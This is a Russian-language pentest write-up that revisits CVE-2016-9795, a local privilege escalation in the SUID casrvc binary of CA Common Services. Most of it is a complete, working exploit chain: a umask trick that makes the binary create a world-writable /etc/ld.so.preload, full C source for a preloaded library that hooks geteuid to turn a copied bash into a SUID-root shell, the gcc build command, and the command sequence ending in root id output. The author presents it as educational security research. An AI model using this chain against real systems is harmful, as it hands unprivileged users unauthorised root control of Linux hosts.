
Повторное рассмотрение повышения привилегий CVE-2016-9795 (бинарный файл casrvc из набора CA Common Services)
Во время одного из моих пентестов я наткнулся на SUID-бинарник casrvc (который является частью пакета CA Common Services). Как выяснилось, этот бинарник уязвим для локального повышения привилегий. Более того, группа NCC уже присвоила этой уязвимости публичный CVE (CVE-2016-9795).
Уязвимость действительно тривиальна, и, как я позже выяснил, группа NCC опубликовала Proof-Of-Concept в своём PDF-бюллетене (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). Тем не менее, во время пентеста я выбрал иной путь эксплуатации, который, во-первых, является жизнеспособной альтернативой и, возможно, менее рискован при правильном выполнении.
Уязвимость кроется в SUID-бинарнике casrvc, который предоставляет возможность выбора имени файла (и абсолютного пути), в который будут записываться логи. Часть содержимого этого лог-файла контролируется пользователем, что в итоге даёт непривилегированному пользователю более-менее контролируемую произвольную запись.
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
Уже существующий PoC просто дописывает вывод лога в файл /etc/passwd, чтобы добавить ещё одну запись пользователя в группу root. Добавление данных в /etc/passwd иногда может быть рискованным, и в моём случае я хотел избежать падения сервера любой ценой.
Метод эксплуатации не нов и был освещён многими другими исследователями (включая @dawid_golunski, @itm4n). Он применим к данному бинарнику, и я рассказываю о нём здесь в образовательных целях.
Она заключается в дописывании или создании файла /etc/ld.so.preload. Этот файл, как описано в руководстве Linux man ld.so, позволяет задать список имён библиотек (по одному на строку), которые будут загружаться при каждом запуске бинарника.
/etc/ld.so.preload
Файл, содержащий разделённый пробелами список ELF-разделяемых объектов, которые загружаются перед
программой. См. обсуждение LD_PRELOAD выше. Если используются и LD_PRELOAD, и
/etc/ld.so.preload, сначала загружаются библиотеки, указанные в LD_PRELOAD.
/etc/ld.so.preload действует на всю систему, заставляя указанные библиотеки
загружаться для всех программ, выполняемых в системе. (Обычно это нежелательно,
и применяется только как экстренное средство, например, как временное
обходное решение проблемы с неправильной конфигурацией библиотеки.)
Особенность этого файла в том, что предзагруженные библиотеки загружаются для КАЖДОЙ программы, выполняемой в системе, включая SUID-программы. Это, конечно, не относится к переменной окружения "LD_PRELOAD", которую любой пользователь может установить для предзагрузки библиотек в контексте своего сеанса.
Чтобы полностью контролировать содержимое создаваемого файла, мы используем команду umask для установки маски создания файлов. Таким образом, при создании лог-файла он будет иметь права на чтение и запись для всех.
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
Мы стараемся как можно быстрее стереть содержимое файла, так как после выполнения исполняемого файла casrvc содержимое не содержит валидных .so-библиотек и будет генерировать сообщения об ошибках при каждом запуске программы на компьютере.
В нашем случае трюк с umask срабатывает. Однако иногда исполняемые файлы сами устанавливают значение umask, и в этом случае наше значение umask перезаписывается и игнорируется.
Далее мы создаём .so файл. Ниже приведён исходный код этого .so файла. Он делает три вещи:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
Чтобы скомпилировать его, мы просто
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
В предыдущих командах мы предполагаем, что раздел /tmp не смонтирован с атрибутами NOEXEC или NOSUID.
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)